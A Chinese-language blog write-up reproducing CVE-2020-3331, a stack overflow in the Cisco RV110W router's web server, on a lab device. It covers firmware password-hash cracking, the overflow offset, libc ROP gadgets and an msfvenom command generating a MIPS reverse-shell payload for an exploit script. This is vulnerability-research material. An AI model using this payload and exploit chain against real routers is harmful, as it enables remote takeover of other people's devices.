Cisco RV110W 路由器 CVE-2020-3331 漏洞复现
某天发现实验室里有这个路由器,是学长留下的,那这不日日都说不过去了吧
参考:
思科路由器 RV110W CVE-2020-3331 漏洞复现
Start
首先可以拿到该设备的固件,解包固件可以找到 /etc/shadow
里面存的 admin 用户的密码 hash
/sbin/rc
:
使用 hashcat 可以对该 hash 进行爆破,需要事先准备一份弱密码字典,最后爆出来 密码是 Admin123
。有了密码,就能直接通过 telnet 远程连上路由,这样有 shell 比较方便复现漏洞
搜索 login.cgi
路由,以确定 web 服务器程序是哪一个
1 | grep -rn "login.cgi" * 2>/dev/null |
最终确定是 /sbin/httpd
分析 /sbin/httpd
程序中的 guest_logout_cgi()
,发现危险函数 sscanf()
1 | v5 = (const char *)get_cgi("cmac"); |
这个 sscanf
是在从v11
正则匹配存到 v29
v28
,存在栈溢出漏洞
匹配规则:%
表示要,%*
表示不要
%[^;]
分号前面的所有字符都要,存在v29
;%*[^=]
分号后等号前所有的东西都不要=%[^\n]
等号后所有东西都要,存在v28
比如 aaa;bbb=ccc
就是aaa
和ccc
被提取出
其实这个匹配不重要,此时 v11 就是 submit_button=
后面的值
故分析程序路径要到达这个 sscanf 得有三个参数且满足对应的要求:
- cmac:MAC 地址格式
- cip:IP 地址格式
- submit_button: 包含 status_guestnet.asp
我们可以传输超长的 submit_button 项来测试是否会溢出,另外两个 cmac 和 cip 都有格式检测,唯有 submit_button 只需要包含字符串 status_guest.asp
即可
可以写一个 python 脚本来发包看看:
1 | import requests |
post 上去之后,web 页面就无法访问了,为了得到更多的细节,我们可以传一个 gdbserver 上去远程调试
https://gitee.com/h4lo1/HatLab_Tools_Library/tree/master/静态编译调试程序/gdbserver
1 | ./gdbserver --attach 0.0.0.0:1234 515 # httpd pid |
经过调试,执行到 sscanf
时,v29 会匹配到 submit_button
的值,如果后面不加更多参数的话 v28 什么都匹配不到
v29 正好是该函数栈最底端的数据,紧接 fp 和 pc,那么覆盖 pc 将非常容易
1 | pwndbg> distance 0x7fcc839c 0x7fcc8404 |
所以填充长度为85
1 | payload = b"status_guestnet.asp"+b'a'*85+p32(pc) |
mips 没有 nx ,所以可以 shellcode in stack
如下图,函数退出时,这些寄存器都可以自由控制
首先得找到合适的 gadget, 把栈地址给寄存器,然后再跳到寄存器
不能使用程序本身的 gadget,因为程序的地址有\x00
,发过去就截断了,所以考虑使用 libc
经过调试发现 libc 的地址是固定的,并没有随机化,固定为 0x2af98000,可以在 libc 中查找 gadget
1 | # stackfind 表示查找给寄存器赋栈地址值的 gadget,同时使用 move $t9 过滤跳转寄存器指令 |
至于控制各寄存器的栈偏移位置可以用 cyclic()
cyclic_find()
测算
shellcode 的功能是反弹shell,所以开一个端口进行监听,shellcode 可以用这个 ,也可以用 msf 生成,我选择用 msf
1 | msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=10.10.10.100 LPORT=31337 --arch mipsle --platform linux -f py -o shellcode.py |
exp
1 | from pwn import * |
https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/
其实我贴的这个文章中有一个错误,其选择的 libc gadget 0x000257A0 有一个指令为
1 | sw $v0, 0x18($sp) |
而 $sp+0x18
正好是他写 shellcode 的地方,此时 v0 为 0,这个指令会让 shellcode 第一条指令slti $a0, $zero, 0xFFFF
变成 nop
,导致第一个 syscall:close(stdin) 实际上没有正常执行
- 标题: Cisco RV110W 路由器 CVE-2020-3331 漏洞复现
- 作者: Hexrotor
- 创建于 : 2024-03-11 16:33:55
- 更新于 : 2024-10-23 22:07:49
- 链接: https://hexrotor.github.io/2024/03/11/RV110W-CVE-2020-3331/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。